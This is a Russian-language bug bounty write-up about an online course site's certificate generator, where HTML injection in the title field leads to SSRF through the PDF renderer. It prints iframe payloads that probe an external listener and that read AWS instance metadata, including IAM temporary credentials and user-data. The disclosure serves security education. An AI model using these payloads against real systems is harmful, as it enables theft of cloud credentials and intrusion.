
Сегодня я расскажу вам об интересной уязвимости, которую я нашёл в одном закрытом баг-баунти проекте: простая HTML-инъекция превратилась в полноценную SSRF с утечкой учетных данных AWS.
Заварите себе кофе, и давайте начнем! ?
Сначала о главном…
Во время тестирования поддомена learn.target.com, который представляет собой веб-сайт, предлагающий онлайн-курсы, я обнаружил пару некритичных ошибок. Ничего особенного... Я думал, что закончил.
Но затем я понял, что единственной частью, которую я ещё не проверил, была система курсов. Я заметил, что на платформе есть платные курсы. Один из них — бизнес-курс за 5 долларов. Я решил, что это небольшая цена для более глубокого изучения функциональности.
Я заплатил и начал тестировать. Я попробовал привычные вещи, такие как обход платёжных систем, доступ к заблокированному контенту, проверку на IDOR и поиск открытых активов. Ничего не сработало.
В конце концов, я сдался и перешёл к другим целям. Курс был неплох, так что я продолжал его изучать, сосредоточившись на другой программе.
Через пару недель, после завершения курса, я получил это сообщение:

Сайт предложил мне генератор сертификатов для загрузки моего сертификата. Вот с этого всё и началось...
Я оставил свою текущую цель, чтобы подробнее рассмотреть функцию генерации сертификатов.
Функция генерации сертификатов
Страница позволяла ввести:
— name
— title
— (По желанию) цитату или сообщение
Затем вы нажимаете «генерировать», и сервер возвращает вам PDF или PNG файл с вашей информацией на красивом шаблоне сертификата.
Тело запроса выглядело примерно так:
{
"name": "name",
"title": "title",
"quote": "quote "
}
Сначала все казалось безобидным. Я получил обычное изображение.

Как всегда, я начал с тестирования всех параметров на наличие инъекций. Параметр заголовка был тем самым параметром, который не имел очистки ввода.
Я заменил его простым HTML тегом:
"title": "<i>ahmed</i>"
Поскольку не было никакой очистки ввода, HTML payload отобразился как в PDF, так и курсивом в изображении. Сертификат выглядел так:

Я попробовал еще несколько вариантов:
"title": "<b>Red Team Member</b>"
"title": "<iframe src='
https://sub.0xxnum.fun/test'></iframe>
"
"title": "<img src=x>"
К моему удивлению:
<b> и <iframe> отобразились
<script> и onerror= не сработали
Это означало, что у меня HTML-инъекция, но не XSS.
Тем не менее, что-то обрабатывало HTML на серверной стороне. Определенно стоит копнуть глубже.
Идентификация SSRF
Следующим шагом я хотел проверить, будет ли процесс рендеринга загружать ресурсы из iframe.
Поэтому я модифицировал полезную нагрузку:
"title": "<iframe src='
http://sub.tarek.dev/probe'></iframe>
"
и настроил прослушиватель на своей стороне (Burp Collaborator / Netcat / веб-сервер).
Когда я открыл PDF…

Я получил DNS и HTTP запрос на прослушиватель с IP-адреса сервера веб-приложения.
Теперь я подтвердил, что сервер рендерит HTML и загружает контент iframe из нашего ввода. Это SSRF через HTML-инъекцию в процессе рендеринга PDF.

Получение метаданных AWS
Наличие SSRF — это одно, но доказать его влияние — совсем другое. Поскольку сервер делал исходящие HTTP-запросы, я заподозрил, что он может быть размещен на AWS, и если это так, я хотел получить доступ к Службе метаданных экземпляра (IMDS).
Чтобы начать атаку, я внедрил новую полезную нагрузку, предназначенную для доступа к конечной точке метаданных:
"title": "<iframe src='
http://169.254.169.254/latest/meta-data/iam/security-credentials/'></iframe>
"
Сгенерированный PDF содержал имя роли IAM, my-app-instance-role, что подтвердило, что сервер работает на экземпляре AWS EC2 с включенным IMDSv1. IMDSv1 особенно уязвим, потому что не требует токенов аутентификации, в отличие от IMDSv2.
Затем я разработал другую полезную нагрузку, чтобы нацелиться на конкретную роль IAM и получить временные учетные данные:
"title": "<iframe src='
http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-instance-role'></iframe>
"
Получившийся PDF содержал конфиденциальные данные, включая:
- AccessKeyId
- SecretAccessKey
- Token
Эти учетные данные от AWS были временными, и в зависимости от разрешений, связанных с этой IAM ролью, они могли предоставить доступ к другим сервисам AWS, таким как S3, DynamoDB и т.д.

Кроме ключей доступа AWS, проверяйте, есть ли еще какие-либо конфиденциальные данные на IMDS эндпоинте с пользовательскими данными.
http://169.254.169.254/latest/user-data
Раздел user-data часто содержит скрипты начальной настройки, переменные окружения или даже зашитые в код секреты в открытом виде.
Что на самом деле произошло?
На первый взгляд, это может показаться странным, как iframe в PDF приводит к тому, что сервер отправляет HTTP-запросы?
Вот ответ...
Когда я отправляю свое имя, должность и цитату, сервер создает HTML-версию сертификата и передает ее движку рендеринга, такому как wkhtmltopdf, puppeteer или другому headless browser инструменту.
Эти инструменты обрабатывают весь HTML так же, как это делает обычный браузер. Это означает, что они автоматически загружают изображения, iframes, таблицы стилей и многое другое — чтобы полностью отобразить страницу перед конвертацией ее в PDF или PNG.
Так что, когда вы вставляете:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
Инструмент рендеринга на сервере видит этот iframe и пытается загрузить контент по этому IP-адресу, и поскольку 169.254.169.254 — это IP-адрес метаданных AWS, все это превращается в SSRF внутри облачной среды.
Входные данные не просто находятся в PDF — они обрабатываются и загружаются до создания конечного файла.
В этом и есть суть уязвимости. Вы используете HTML инъекцию не для того, чтобы запустить JavaScript или сделать XSS, а чтобы обмануть сервер, заставив его выполнять внутренние HTTP-запросы, рендеря ваш iframe или другие HTML-теги.
В конце концов, компания признала проблему и присвоила высокую степень серьезности. Я получил 1000$.

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер